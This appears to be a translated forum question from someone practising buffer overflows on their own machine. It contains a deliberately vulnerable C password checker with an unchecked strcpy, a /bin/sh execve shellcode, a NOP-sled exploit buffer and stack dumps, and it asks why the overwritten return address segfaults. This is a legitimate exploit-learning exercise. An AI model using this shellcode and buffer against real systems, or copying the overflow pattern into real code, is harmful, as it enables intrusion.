Estoy experimentando en mi computadora, así que escribí un programa vulnerable en C para probar los desbordamientos de búfer en:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int check_password(char *password){
int retval = 0;
char possible_password_1[16] = "possiblepasswrd";
char possible_password_2[16] = "drwssapelbissop";
char user_input_password[16];
strcpy(user_input_password, password);
if(!strcmp(possible_password_1, user_input_password))
retval = 1;
if(!strcmp(possible_password_2, user_input_password))
retval = 2;
return retval;
}
int main(int argc, char *argv[]){
if(argc < 2){
printf("Not enough arguments\n");
return -1;
}
int correct = check_password(argv[1]);
if(correct)
printf("CORRECT PASSWORD\n");
else
printf("INCORRECT PASSWORD\n");
return 0;
}
No está muy bien escrito pero está lleno de vulnerabilidades.
Me las arreglé para sobrescribir el valor de retval para que el programa muestre "CONTRASEÑA CORRECTA" a pesar de que mi contraseña es incorrecta. Sin embargo, ahora me gustaría probar algunos códigos de shell: \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
Sin embargo, no puedo hacer que se ejecute. Acabo de obtener un segfault.
Aquí está la pila en la función check_password justo antes de la llamada a strcpy:
0xbffff30c: 0x00000000 0xb7fff000 0xb7fff918 0xbffff330
0xbffff31c: 0x73777264 0x65706173 0x7369626c 0x00706f73
0xbffff32c: 0x73736f70 0x656c6269 0x73736170 0x00647277
0xbffff33c: 0x00000000 0x00008000 0xb7fb1000 0xbffff378
0xbffff34c: 0x08048523 0xbffff5c3 0x00000003 0xb7e30740
Entre otras cosas, veo 0x08048523
, que parece ser el indicador de retorno, ya que apunta a la instrucción justo después de la llamada a check_password en main:
0x0804851e <+59>: call 0x804844b <check_password>
0x08048523 <+64>: add esp,0x10
Por lo tanto, decidí construir mi búfer de exploit alrededor de esto:
00000000: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
00000010: 90 90 90 90 90 90 90 90 90 31 c0 50 68 2f 2f 73 .........1.Ph//s
00000020: 68 68 2f 62 69 6e 89 e3 50 53 89 e1 b0 0b cd 80 hh/bin..PS......
00000030: c4 f5 ff bf c4 f5 ff bf c4 f5 ff bf c4 f5 ff bf ................
00000040: c4 f5 ff bf ....
0xbffff5c4
es la dirección de *argv[1]
, y contiene el código de shell:
0xbffff5c4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff5cc: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff5d4: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff5dc: 0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68
0xbffff5e4: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x50
Cuando se produce la sobrescritura, esta dirección sobrescribe la dirección a la siguiente instrucción principal:
Antes:
0xbffff30c: 0x00000000 0xb7fff000 0xb7fff918 0xbffff330
0xbffff31c: 0x73777264 0x65706173 0x7369626c 0x00706f73
0xbffff32c: 0x73736f70 0x656c6269 0x73736170 0x00647277
0xbffff33c: 0x00000000 0x00008000 0xb7fb1000 0xbffff378
0xbffff34c: 0x08048523 0xbffff5c3 0x00000003 0xb7e30740
Después:
0xbffff30c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff31c: 0x90909090 0x90909090 0x50c03190 0x732f2f68
0xbffff32c: 0x622f6868 0xe3896e69 0xe1895350 0x80cd0bb0
0xbffff33c: 0xbffff5c4 0xbffff5c4 0xbffff5c4 0xbffff5c4
0xbffff34c: 0xbffff5c4 0xbffff500 0x00000003 0xb7e30740
Por lo que puedo decir, el shellcode debería ejecutarse tan pronto como la función regrese. Sin embargo, este no es el caso:
Program received signal SIGSEGV, Segmentation fault.
0xbffff5c4 in ?? ()
Realmente no estoy seguro de lo que hice mal aquí. ¿Podría alguien, por favor, señalarme la dirección correcta?
Gracias.